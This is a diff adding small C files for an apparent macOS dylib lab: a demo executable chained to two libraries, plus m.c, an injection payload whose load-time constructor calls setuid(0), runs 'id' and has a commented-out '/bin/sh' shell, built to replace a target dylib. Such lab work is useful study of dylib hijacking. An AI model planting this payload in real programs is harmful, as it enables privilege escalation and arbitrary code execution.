IV. Dylibs/custom/lib1.c

@@ -0,0 +1,11 @@
+//clang -dynamiclib lib1.c -o $PWD/lib1.dylib -L. -l2
+#include <stdio.h>
+#include "lib1.h"
+#include "lib2.h"
+
+void callLib1Function() {
+    printf("Now, wer are in lib1.dylib code.\n");
+    printf("Press enter to enter lib2.dylib function\n");
+    getchar();
+    callLib2Function();
+}

IV. Dylibs/custom/lib1.h

@@ -0,0 +1,7 @@
+#ifndef LIB1_H
+#define LIB1_H
+
+void callLib1Function();
+
+#endif
+

IV. Dylibs/custom/lib2.c

@@ -0,0 +1,10 @@
+//clang -dynamiclib lib2.c -o $PWD/lib2.dylib
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+void callLib2Function() {
+    printf("Now we are in lib2.dylib.\n");
+    printf("Press enter to back to executable code...\n");
+    getchar();
+}

IV. Dylibs/custom/lib2.h

@@ -0,0 +1,7 @@
+#ifndef LIB2_H
+#define LIB2_H
+
+void callLib2Function();
+
+#endif
+

IV. Dylibs/custom/m.c

@@ -0,0 +1,17 @@
+// clang -dynamiclib m.c -o m.dylib //-o $PWD/TARGET_DYLIB
+#include <syslog.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+__attribute__((constructor))
+void myconstructor(int argc, const char **argv)
+{
+    syslog(LOG_ERR, "[+] m.dylib injected in %s\n", argv[0]);
+    printf("[+] m.dylib injected in %s\n", argv[0]);
+    setuid(0);
+    system("id");
+    //system("/bin/sh");
+}
+
+void callLib1Function(void){}

IV. Dylibs/custom/main.c

@@ -0,0 +1,15 @@
+//clang main.c -o $PWD/executable -L. -l1
+//codesign -s IDENTITY --option=runtime -f executable
+#include <stdio.h>
+#include "lib1.h"
+
+int main() {
+    printf("Main program\n");
+    printf("Press enter to call lib1.dylib function...\n");
+    getchar();
+    callLib1Function();
+    printf("Press Enter to exit...\n");
+    getchar();
+    return 0;
+}
+

IV. Dylibs/custom/mylib.c

@@ -0,0 +1,6 @@
+#include "mylib.h"
+#include <stdio.h>
+
+void myFunction() {
+    printf("Hello from mylib!\n");
+}

IV. Dylibs/custom/mylib.h

@@ -0,0 +1 @@
+void my_function(); // Declare the function prototype

IV. Dylibs/custom/use_mylib.c

@@ -0,0 +1,6 @@
+#include "mylib.h"
+
+int main() {
+    myFunction(); // Call the function from the library
+    return 0;
+}